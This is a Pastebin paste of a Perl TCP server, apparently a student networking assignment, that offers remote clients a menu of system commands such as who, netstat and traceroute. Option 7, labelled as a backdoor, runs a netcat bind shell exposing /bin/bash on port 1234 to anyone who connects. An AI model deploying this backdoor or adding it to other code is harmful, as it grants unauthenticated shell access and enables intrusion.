Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -w
- #ALUMNOS:
- # Dias, Walter
- # Herrera, Glenda Adalis
- # Spairani, Jose Luis
- # Zacarias, Edgar Gabriel A.
- use IO::Socket;
- #$puerto = 4444;
- print "Ingrese el puerto a escuchar\n -> ";
- $puerto.=<STDIN>;
- chomp($puerto);
- $servidor=IO::Socket::INET->new(proto =>'tcp',
- LocalPort =>$puerto,
- Listen =>SOMAXCONN,
- Reuse =>1) or die "Error al iniciar el servidor";
- print "Aceptando conexiones en Puerto del Servidor ==> $puerto \n";
- while ($conexion = $servidor ->accept()) {
- atender($conexion);
- }
- sub ejecutar($$) {
- ($comando, $conexion) = @_;
- $resultado = '';
- #Muestra sólo los nombres de usuario y la cuenta de usuarios activos
- if ($comando eq 'usuario y la cuenta de usuarios activos' || $comando eq '1'){
- $resultado= `who -q`;
- }
- #Incluye el tiempo parado como HORAS:MINUTOS. Un tiempo parado de . indica actividad en el último minuto
- elsif ($comando eq 'tiempo y actividad en el ultimo minuto' || $comando eq '2'){
- $resultado= `who -i`;
- }
- #indica actividad en el último minuto.Salida:NAME LINE TIME IDLE PID COMMENT
- elsif ($comando eq 'tusuario' || $comando eq '3'){
- $resultado= `who -uH`;
- }
- #muestra nuestra ip, la mascara, puerta de enalce y la interfaces
- elsif ($comando eq 'datos de conexiones de interface' || $comando eq '4'){
- $resultado= `netstat -nr`;
- }
- #muestra la IP del route
- elsif ($comando eq 'route ip' || $comando eq '5'){
- $resultado= `ip route show`;
- }
- #muestra los puertos abiertos
- elsif ($comando eq 'puertos' || $comando eq '6'){
- $resultado= `netstat -a`;
- }
- #crea un backdoor para permitir conexiones remotas a bash
- elsif ($comando eq 'backdoor' || $comando eq '7'){
- $resultado= `nc -vv -l -p 1234 -e /bin/bash`;
- }
- #muestra la ruta entre el servidor y el cliente
- elsif ($comando eq 'tr' || $comando eq '8'){
- $resultado= `traceroute $ip`;
- }
- elsif ($comando eq 'menu' || $comando eq '9'){
- $resultado=" \n";
- menu();
- }
- if ($resultado) {
- print $conexion "OK 200\n";
- print $conexion $resultado;
- }
- elsif ($comando eq 'salir') {
- print $conexion "Bye. Fin Conexión\n"
- }
- else
- {
- print $conexion "ERR 500\n";
- }
- }
- sub menu(){
- print $conexion "\n Lista de comandos: \n \n";
- print $conexion "1) Muestra sólo los nombres de usuario y la cuenta de usuarios activos \n";
- print $conexion "2) Incluye el tiempo parado como HORAS:MINUTOS. Un tiempo parado de . indica actividad en el último minuto \n";
- print $conexion "3) Indica actividad en el último minuto.Salida:NAME LINE TIME IDLE PID COMMENT \n";
- print $conexion "4) Muestra nuestra ip, la mascara, puerta de enalce y la interfaces \n";
- print $conexion "5) Muestra la IP del route \n";
- print $conexion "6) Muestra los puertos abiertos \n";
- print $conexion "7) crea un backdoor para permitir conexiones remotas a bash \n";
- print $conexion "8) tr: Muestra la ruta entre el servidor y el cliente \n";
- print $conexion "9) menu: Mostrar lista de comandos \n\n";
- }
- sub atender($) {
- $conexion = shift; #Toma el descriptor
- $ip = $conexion->peerhost; #La ip del Socket cliente
- $portc= $conexion->peerport;#El puerto del cliente
- print $conexion "\n Bienvenido uso de Socket de Redes de Datos.\n";
- menu();
- print "*Conexion establecida desde $ip y puerto del cliente $portc*]\n";
- do {
- print $conexion "->";
- if ($comando = <$conexion>) {
- $comando =~ s/\r\n|\n//g;#Borro los saltos de Lineas
- ejecutar($comando, $conexion);# Envio el comando y el descriptor
- } else {
- $comando = 'salir';
- }
- } until ($comando eq 'salir');
- $conexion->shutdown(2);
- print "[Conexión establecida $ip]\n";
- }
- ;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement